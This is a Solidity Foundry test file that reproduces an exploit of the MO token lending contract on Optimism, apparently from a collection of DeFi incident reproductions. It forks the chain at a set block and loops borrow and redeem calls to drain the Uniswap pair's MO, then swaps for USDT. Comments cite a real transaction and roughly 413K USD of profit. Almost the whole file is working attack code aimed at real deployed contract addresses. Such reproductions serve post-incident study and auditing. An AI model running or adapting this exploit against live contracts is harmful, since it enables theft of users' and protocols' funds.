src/test/2024-03/MO_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// TX : https://app.blocksec.com/explorer/tx/optimism/0x4ec3061724ca9f0b8d400866dd83b92647ad8c943a1c0ae9ae6c9bd1ef789417
8 
9// Profit : ~413K USD,but i get more
10// REASON : Bussiness Logic Flaw
11 
12interface Loan {
13    function borrow(uint256 amount, uint256 duration) external;
14    function redeem(
15        uint256 index
16    ) external;
17    function borrowOrdersCount(
18        address account
19    ) external view returns (uint256);
20}
21 
22interface Relation {
23    function bind(
24        address referrer
25    ) external;
26    function hasBinded(
27        address user
28    ) external view returns (bool);
29}
30 
31contract contractTest is Test {
32    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
33    IERC20 constant MO = IERC20(0x61445Ca401051c86848ea6b1fAd79c5527116AA1);
34    IERC20 constant USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);
35    Loan constant LOAN = Loan(0xAe7b6514Af26BcB2332FEA53B8Dd57bc13A7838E);
36    address constant approve_proxy = 0x9D8355a8D721E5c79589ac0aB49BC6d3e0eF7C3F;
37    Uni_Router_V2 private constant Router = Uni_Router_V2(0x9eADD135641f8b8cC4E060D33d63F8245f42bE59);
38    Uni_Pair_V2 UniV2Pair = Uni_Pair_V2(0x4a6E0fAd381d992f9eB9C037c8F78d788A9e8991);
39    Relation RELAT = Relation(0xb03B377d524AF7D5b3769414d969FFe627C062F9);
40    uint256 mo_balance;
41 
42    function setUp() public {
43        cheats.createSelectFork("optimism", 117_395_511);
44    }
45 
46    function testExploit() external {
47        emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 6);
48        deal(address(MO), address(this), 62_147_724);
49        Money bind_contract = new Money();
50        bind_contract.approve(address(this));
51        // Here can bind some reffer address but can't find the first reffer = =
52        // RELAT.bind(address(bind_contract));
53        MO.approve(address(approve_proxy), type(uint256).max);
54        USDT.approve(address(approve_proxy), type(uint256).max);
55        mo_balance = MO.balanceOf(address(this));
56        // console.log(MO.balanceOf(address(UniV2Pair)));
57        uint256 i = 0;
58        while (i < 80) {
59            try this.do_some_borrow(i) {}
60            catch {
61                break;
62            }
63            i++;
64        }
65        LOAN.borrow(MO.balanceOf(address(UniV2Pair)) - 1, 0);
66        // console.log(MO.balanceOf(address(UniV2Pair)));
67        MO.approve(address(Router), type(uint256).max);
68        address[] memory path = new address[](2);
69        path[0] = address(MO);
70        path[1] = address(USDT);
71        // Router.swapExactTokensForTokens(MO.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100);
72        MO.transfer(address(Router), 10); // need some token for pair to send.
73        Router.swapExactTokensForTokens(3, 0, path, address(this), block.timestamp + 100);
74        emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 6);
75    }
76 
77    function do_some_borrow(
78        uint256 i
79    ) public {
80        LOAN.borrow(mo_balance, 0);
81        LOAN.redeem(i);
82    }
83}
84 
85contract Money {
86    IERC20 constant MO = IERC20(0x61445Ca401051c86848ea6b1fAd79c5527116AA1);
87 
88    function approve(
89        address a
90    ) public {
91        MO.approve(address(a), type(uint256).max);
92    }
93}